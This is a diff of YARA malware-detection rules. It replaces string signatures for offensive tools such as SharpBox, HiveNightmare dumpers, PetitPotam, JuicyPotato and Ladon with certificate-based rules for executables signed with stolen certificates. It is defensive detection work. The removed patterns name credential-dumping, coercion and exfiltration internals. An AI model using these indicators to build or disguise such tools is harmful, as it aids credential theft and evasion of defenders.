+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2287-L2298"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bd84015f9fdc160a6ed9010c5a5905fcf13987b1fdec6fdd9535e315dc3617e8"
+		logic_hash = "762b1730c8cfcf5a89e49858723d5701c1fb958eb2cd4da5b240f21763cdabf8"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\\\.\\pipe\\task_sched_se" fullword wide
-		$s2 = "\\\\\\.\\NPF_NdisWanIp" fullword wide
-		$s3 = /--action --(dtt|mra|user-input|cfg|dan|evt|pid|exc|wmi|tsh)/ fullword wide
-		$s4 = "cuckoo_%lu.ini" fullword wide
-		$s5 = "sandbox evasion" wide nocase
-		$s6 = "UnbalancedStack" fullword ascii
-		$s7 = "process_with_long_name" fullword ascii
-		$s8 = "DelaysAccumulation" fullword ascii
-		$s9 = "PidReuse" fullword ascii
-		$s10 = "DeadAnalyzer" fullword ascii
-		$s11 = "SleepDummyPatch" fullword ascii
-		$s12 = "AudioDeviceAbsence" fullword ascii
-		$s14 = "\\\\.\\PhysicalDrive%u" fullword ascii
-		$s15 = "\"countermeasures\":" ascii
-		$s16 = "_%.02u%.02u%.02u_%.02u%.02u%.02u.html" ascii
-		$f1 = ".?AVHyperV@SandboxEvasion@@" ascii
-		$f2 = ".?AVJoebox@SandboxEvasion@@" ascii
-		$f3 = ".?AVKVM@SandboxEvasion@@" ascii
-		$f4 = ".?AVMisc@SandboxEvasion@@" ascii
-		$f5 = ".?AVParallels@SandboxEvasion@@" ascii
-		$f6 = ".?AVQEMU@SandboxEvasion@@" ascii
-		$f7 = ".?AVSandboxie@SandboxEvasion@@" ascii
-		$f8 = ".?AVVBOX@SandboxEvasion@@" ascii
-		$f9 = ".?AVVirtualPC@SandboxEvasion@@" ascii
-		$f10 = ".?AVVMWare@SandboxEvasion@@" ascii
-		$f11 = ".?AVWine@SandboxEvasion@@" ascii
-		$f12 = ".?AVXen@SandboxEvasion@@" ascii
+		thumbprint = "33e8e72a75d6f424c5a10d2b771254c07a7d9c138e5fea703117fe60951427ae"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or 4 of ($f*) or (2 of ($f*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MATCHLESS GIFTS, INC." and pe.signatures[i].serial=="02:aa:49:7d:39:32:0f:c9:79:ad:96:16:0d:90:d4:10")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_EXFIL_Sharpbox : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_D0B094274C761F367A8Eaea08E1D9C8F : FILE
 {
 	meta:
-		description = "Detect SharpBox, C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cd834fe2-dc77-509d-a8f9-d631f395bcd8"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "3683b66b-3dc0-5b89-be71-1e1267ef7de8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1061-L1080"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2300-L2311"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b03ab3786b2a2e6774d94be4edf700a7154d8d400c7b2b31c73c68ce9fe0c08a"
+		logic_hash = "5ce9be0bdd8350dd5a8ae8cf2447d1be6b34ee3abc5c19754c63ef03b7cccec9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "UploadData" fullword ascii
-		$s2 = "isAttached" fullword ascii
-		$s3 = "DecryptFile" fullword ascii
-		$s4 = "set_dbxPath" fullword ascii
-		$s5 = "set_dbxToken" fullword ascii
-		$s6 = "set_decrypt" fullword ascii
-		$s7 = "GeneratePass" fullword ascii
-		$s8 = "FileUploadToDropbox" fullword ascii
-		$s9 = "\\SharpBox.pdb" ascii
-		$s10 = "https://content.dropboxapi.com/2/files/upload" fullword wide
-		$s12 = "Dropbox-API-Arg: {\"path\":" wide
-		$s13 = "X509Certificate [{0}] Policy Error: '{1}'" fullword wide
+		thumbprint = "e94a9d81c4a67ef953fdb27aad6ec8fa347e6903b140d21468066bdca8925bc5"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Nsasoft US LLC" and pe.signatures[i].serial=="d0:b0:94:27:4c:76:1f:36:7a:8e:ae:a0:8e:1d:9c:8f")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_EXP_Serioussam01 : CVE_2021_36934 FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D59A05955A4A421500F9561Ce983Aac4 : FILE
 {
 	meta:
-		description = "Detect tool variants potentially exploiting SeriousSAM / HiveNightmare CVE-2021-36934"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e8f24ae4-48fb-5ee7-9e8e-0d144bb3b046"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "97c4e8fa-8d66-500f-a63f-fac84ad9e508"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1082-L1104"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2313-L2324"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8b9de87dc073e6ba3eb36dd57b31e9749849c2e277f2bcd1c98ffc2d02861e10"
+		logic_hash = "9187dcdbf29e5119d90ede266a14c7e46f5050800a38c57fa86e957c885c1d60"
 		score = 75
-		quality = 25
-		tags = "CVE-2021-36934, FILE"
-
-	strings:
-		$s1 = "VolumeShadowCopy" fullword wide
-		$s2 = "\\\\?\\GLOBALROOT\\Device\\" fullword wide
-		$s3 = "{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}" fullword wide
-		$s4 = "ASPNET_WP_PASSWORD" fullword wide
-		$s5 = "<ParseSam>b__" ascii
-		$s6 = "<DumpSecret" ascii
-		$s7 = "<ParseSecret" ascii
-		$s8 = "LsaSecretBlob" fullword ascii
-		$s9 = "systemHive" fullword ascii
-		$s10 = "ImportHiveDump" fullword ascii
-		$s11 = "FindShadowVolumes" fullword ascii
-		$s12 = "GetBootKey" fullword ascii
-		$r1 = "[*] SAM" wide
-		$r2 = "[*] SYSTEM" wide
-		$r3 = "[*] SECURITY" wide
+		quality = 75
+		tags = "FILE"
+		thumbprint = "7f56555ac8479d4e130a89e787b7ff2f47005cc02776cf7a30a58611748c4c2e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or ( all of ($r*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Olymp LLC" and pe.signatures[i].serial=="00:d5:9a:05:95:5a:4a:42:15:00:f9:56:1c:e9:83:aa:c4")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_EXP_Petitpotam01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_35590Ebe4A02Dc23317D8Ce47A947A9B : FILE
 {
 	meta:
-		description = "Detect tool potentially exploiting/attempting PetitPotam"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "12d7b533-f477-5fbb-8b1f-1a93c9a63500"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "36630916-26df-5d2c-8faf-9fa2e240bff3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1127-L1143"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2326-L2337"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "37a9477b41560904e8874ecaf93eb2667b9450b5d42665677abc1442538f9000"
+		logic_hash = "c01f9ecb1e69f6d0cb8061930cda27469eb18be19c0471192b31d516cddf828f"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\pipe\\lsarpc" fullword wide
-		$s2 = "\\%s" fullword wide
-		$s3 = "ncacn_np" fullword wide
-		$s4 = /EfsRpc(OpenFileRaw|EncryptFileSrv|DecryptFileSrv|QueryUsersOnFile|QueryRecoveryAgents|RemoveUsersFromFile|AddUsersToFile)/ wide
-		$r1 = "RpcBindingFromStringBindingW" fullword ascii
-		$r2 = "RpcStringBindingComposeW" fullword ascii
-		$r3 = "RpcStringFreeW" fullword ascii
-		$r4 = "RPCRT4.dll" fullword ascii
-		$r5 = "NdrClientCall2" fullword ascii
+		thumbprint = "d9b60a67cf3c8964be1e691d22b97932d40437bfead97a84c1350a2c57914f28"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) and 4 of ($r*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Largos" and pe.signatures[i].serial=="35:59:0e:be:4a:02:dc:23:31:7d:8c:e4:7a:94:7a:9b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpstrike : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1F23F001458716D435Cca1A55D660Ec5 : FILE
 {
 	meta:
-		description = "Detect SharpStrike post-exploitation tool written in C# that uses either CIM or WMI to query remote systems"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "00b36fce-3d84-51cf-a800-042d7484d78c"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "16a904e4-bf1a-5530-9269-d92c0f1bb4d3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1145-L1160"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2339-L2350"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c479d85878d9f9659fc157f0c6706703af3748a8740df6a5090cddc720dd7661"
+		logic_hash = "3e91429f7b25ad54103ee230a36d4b51060adb458b533b9cbd00178a02676629"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "SharpStrike v" wide
-		$x2 = "[*] Agent is busy" wide
-		$x3 = "SharpStrike_Fody" fullword ascii
-		$s1 = "ServiceLayer.CIM" fullword ascii
-		$s2 = "Models.CIM" fullword ascii
-		$s3 = "<HandleCommand>b__" ascii
-		$s4 = "MemoryStream" fullword ascii
-		$s5 = "GetCommands" fullword ascii
+		thumbprint = "934d9357b6fb96f7fb8c461dd86824b3eed5f44a65c10383fe0be742c8c9b60e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or all of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Ringen" and pe.signatures[i].serial=="1f:23:f0:01:45:87:16:d4:35:cc:a1:a5:5d:66:0e:c5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C2Fc83D458E653837Fcfc132C9B03062 : FILE
 {
 	meta:
-		description = "Detect Ladon tool that assists in lateral movement across a network"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "227e63ce-8383-5bb1-870e-6c4e767b402f"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "fbc9420d-4670-502f-af6a-13d17fb73938"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1162-L1178"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2352-L2363"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f31276bcbcae672966cfddc9af4f5b507d7244360b421de7fe1e811fb954fb7d"
+		logic_hash = "96ed5e78195f12cdc0316ed454ad4e2235253ed897905c4a97756b306933d874"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$d1 = "Ladon.VncSharp.dll" fullword ascii
-		$d2 = "Ladon.Renci.SshNet.dll" fullword ascii
-		$s1 = "Ladon." ascii
-		$s2 = "nowPos" fullword ascii
-		$s3 = "Scan" fullword ascii
-		$s4 = "QLZ_STREAMING_BUFFER" fullword ascii
-		$s5 = "sizeDecompressed" fullword ascii
-		$s6 = "UpdateByte" fullword ascii
-		$s7 = "kNumBitPriceShiftBits" fullword ascii
+		thumbprint = "82294a7efa5208eb2344db420b9aeff317337a073c1a6b41b39dda549a94557e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($d*) or all of ($s*) or (1 of ($d*) and 5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Vertical" and pe.signatures[i].serial=="00:c2:fc:83:d4:58:e6:53:83:7f:cf:c1:32:c9:b0:30:62")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladonexp : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Fcb3D3519E66E5B6D90B8B595F558E81 : FILE
 {
 	meta:
-		description = "Detect Ladon tool that assists in lateral movement across a network"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bd1e7ef5-ae68-5e0d-8261-0eb765453bae"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "966650b5-d776-5ed0-a99b-507b46abd882"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1180-L1191"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2365-L2376"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "22f6a717b8464bddd850bb5ea8b416e99bceb91fe917f188be178f2fff620730"
+		logic_hash = "62c7189cc906b9f2d2724492489218d9aecf08ef431463ebf1963b034222f2ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "txt_cscandll.Text" fullword wide
-		$s2 = "CscanWebExpBuild.frmMain.resources" fullword ascii
-		$s3 = "= \"$HttpXforwardedFor$\";" ascii
-		$s4 = "namespace netscan" fullword ascii
+		thumbprint = "8bf6e51dfe209a2ca87da4c6b61d1e9a92e336e1a83372d7a568132af3ad0196"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Pegasun" and pe.signatures[i].serial=="fc:b3:d3:51:9e:66:e5:b6:d9:0b:8b:59:5f:55:8e:81")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladongo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4B03Cabe6A0481F17A2Dbeb9Aefad425 : FILE
 {
 	meta:
-		description = "Detect LadonGo tool that assists in lateral movement across a network"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4dbf7f24-b9ab-5629-8e78-667d9623dea9"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "3995296a-58ce-5615-8524-525698af3537"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1193-L1207"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2378-L2389"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "606172b8fb251cb4ad75de40b55d74779aef6409832f6edf09068083143ec749"
+		logic_hash = "e3c0d68a65bc53b83a48310857605afda0004b4122201c18a66fea085a210924"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$f1 = "main.VulDetection" fullword ascii
-		$f2 = "main.BruteFor" fullword ascii
-		$f3 = "main.RemoteExec" fullword ascii
-		$f4 = "main.Exploit" fullword ascii
-		$f5 = "main.Noping" fullword ascii
-		$f6 = "main.LadonScan" fullword ascii
-		$f7 = "main.LadonUrlScan" fullword ascii
+		thumbprint = "2e86cb95aa7e4c1f396e236b41bb184787274bb286909b60790b98f713b58777"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xface) and 5 of ($f*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RASSVET, OOO" and pe.signatures[i].serial=="4b:03:ca:be:6a:04:81:f1:7a:2d:be:b9:ae:fa:d4:25")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_ENC_Diskcryptor : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_539015999E304A5952985A994F9C3A53 : FILE
 {
 	meta:
-		description = "Detect DiskCryptor open encryption solution that offers encryption of all disk partitions"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "22b25d5c-d67f-53ac-9ae8-2de077afdda9"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "b53f5843-fb4c-5c61-be24-21bdbc445239"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1209-L1232"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2391-L2402"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7ef0bf3b11f7e4055908518ce5b6a49e04d7002ebc3396fd2da32b4e13cf68e0"
+		logic_hash = "72304761de1d5e81659487947a1cfa017f7f41d5639f18634db4dfd094980518"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "\\DiskCryptor\\DCrypt\\" ascii
-		$s1 = "Error getting %sbootloader configuration" fullword wide
-		$s2 = "loader.iso" fullword wide
-		$s3 = "Bootloader config for [%s]" fullword wide
-		$s4 = "dc_get_mbr_config" fullword ascii
-		$s5 = "dc_encrypt_iso_image" fullword ascii
-		$s6 = "dc_start_re_encrypt" fullword ascii
-		$s7 = "dc_start_encrypt" fullword ascii
-		$s8 = "_w10_reflect_" ascii
-		$d1 = "\\DosDevices\\dcrypt" fullword wide
-		$d2 = "$dcsys$_fail_%x" fullword wide
-		$d3 = "%s\\$DC_TRIM_%x$" fullword wide
-		$d4 = "\\Device\\dcrypt" fullword wide
-		$d5 = "%s\\$dcsys$" fullword wide
+		thumbprint = "7731825aea38cfc77ba039a74417dd211abef2e16094072d8c2384af1093f575"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 2 of ($s*)) or 4 of ($s*) or 3 of ($d*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Service lab LLC" and pe.signatures[i].serial=="53:90:15:99:9e:30:4a:59:52:98:5a:99:4f:9c:3a:53")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PRI_Installerfiletakeover : CVE_2021_41379 FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_016836311Fc39Fbb8E6F308Bb03Cc2B3 : FILE
 {
 	meta:
-		description = "Detect InstallerFileTakeOver CVE-2021-41379"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8581a306-e6d3-5ac1-a778-76c6505ee174"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "06cc9c38-c5a6-5311-8ceb-943ea3993fc7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1234-L1253"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2404-L2415"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0a9e53138d33494d9b2aa0271b877e405ea2e8accba7c6eeac547caaa7a7c2ea"
+		logic_hash = "912d490ac5d746c584e4dd5639be98d9577faba215cc1f8ebdf360581be53d5c"
 		score = 75
-		quality = 50
-		tags = "CVE-2021-41379, FILE"
-
-	strings:
-		$s1 = "splwow64.exe" fullword ascii
-		$s2 = "notepad.exe" fullword ascii
-		$s3 = "%s\\System32\\cmd.exe" fullword wide
-		$s4 = "[SystemFolder]msiexec.exe" fullword wide
-		$s5 = "microsoft plz" ascii
-		$s6 = "%TEMP%\\" fullword wide
-		$x1 = "\\InstallerFileTakeOver.pdb" ascii
-		$o1 = { 48 b8 fe ff ff ff ff ff ff 7f 48 8b f5 48 83 ce }
-		$o2 = { 4c 8d 62 10 48 c7 c7 ff ff ff ff 48 8b c7 66 0f }
-		$o3 = { ff 15 9a 59 00 00 48 8b d8 e8 ba ff ff ff 45 33 }
-		$o4 = { 49 c7 43 a8 fe ff ff ff 49 89 5b 10 48 8b 05 5a }
-		$o5 = { 66 89 7c 24 50 48 c7 c2 ff ff ff ff 48 ff c2 66 }
+		quality = 75
+		tags = "FILE"
+		thumbprint = "cab373e2d4672beacf4ca9c9baf75a2182a106cca5ea32f2fc2295848771a979"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and (2 of ($s*) or 3 of ($o*))) or 4 of ($s*) or ( all of ($o*) and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SERVICE STREAM LIMITED" and pe.signatures[i].serial=="01:68:36:31:1f:c3:9f:bb:8e:6f:30:8b:b0:3c:c2:b3")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PRI_Juicypotato : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_009Bd81A9Adaf71F1Ff081C1F4A05D7Fd7 : FILE
 {
 	meta:
-		description = "Detect JuicyPotato"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2fb52598-9771-507b-a06d-7b9bc693ffee"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "deedbc3a-8c77-5c2c-b3c1-40e5d082ec5a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1255-L1270"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2417-L2428"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "43a7ac16b9633fd2e6c43ca142cd0d0e2166287bb51e1b6344119959fe054c19"
+		logic_hash = "85efd10f6c49b93215c9f8f97915c62fb3ed3bb158b2137e953022b550263726"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "\\JuicyPotato.pdb" ascii
-		$x2 = "JuicyPotato v%s" fullword ascii
-		$s1 = "hello.stg" fullword wide
-		$s2 = "ppVirtualProcessorRoots" fullword ascii
-		$s3 = "Lock already taken" fullword ascii
-		$s4 = "[+] authresult %d" fullword ascii
-		$s5 = "RPC -> send failed with error: %d" fullword ascii
-		$s6 = "Priv Adjust FALSE" fullword ascii
+		thumbprint = "885b9f1306850a87598e5230fcae71282042b74e8a14cabb0a904c559b506acb"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or (5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SMART TOYS AND GAMES" and pe.signatures[i].serial=="00:9b:d8:1a:9a:da:f7:1f:1f:f0:81:c1:f4:a0:5d:7f:d7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_ENUM_Sharpshares : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_082023879112289Bf351D297Cc8Efcfc : FILE
 {
 	meta:
-		description = "Detects SharpShares multithreaded C# .NET Assembly to enumerate accessible network shares in a domain"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1da53e34-21a3-5b3c-885e-dcc8814ac3c8"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "292f99be-2eb0-5ad1-bd07-766de7822f1e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1290-L1305"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2430-L2441"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8b35d6a692814e1b27ffc1db4ab124bf621c156aaf57f24796c422ec95a85715"
+		logic_hash = "0747b37139daaba10a17098aeb0c6246290fbd997345de34ce9de8da26d7db05"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "SharpShares." ascii wide
-		$s2 = "GetComputerShares" fullword ascii
-		$s3 = "userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*)(!(userAccountControl:1.2" wide
-		$s4 = "GetAllShares" fullword ascii
-		$s5 = "stealth:" wide
-		$s6 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*))" fullword wide
-		$s7 = /\/targets|ldap|threads/ wide
-		$s8 = "entriesread" fullword ascii
+		thumbprint = "0eb3382177f26e122e44ddd74df262a45ebe8261029bc21b411958a07b06278a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "STA-R TOV" and pe.signatures[i].serial=="08:20:23:87:91:12:28:9b:f3:51:d2:97:cc:8e:fc:fc")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PROX_Revsocks : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ece6Cbf67Dc41635A5E5D075F286Af23 : FILE
 {
 	meta:
-		description = "Detects revsocks Reverse socks5 tunneler with SSL/TLS and proxy support"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f85bc557-40ab-5533-8a89-a2de9bbc9ad9"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "53312007-179d-547c-8195-0b5d78181300"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1307-L1321"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2443-L2454"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4a8e68f25b7ba10b0eb9772ed4ba2b9c6566768f2b5a2859df8bac644d196bf3"
+		logic_hash = "27ecc138f8d574c15095032c35ad51c00d8b98f21162d1f59f1f9ca9e5b54391"
 		score = 75
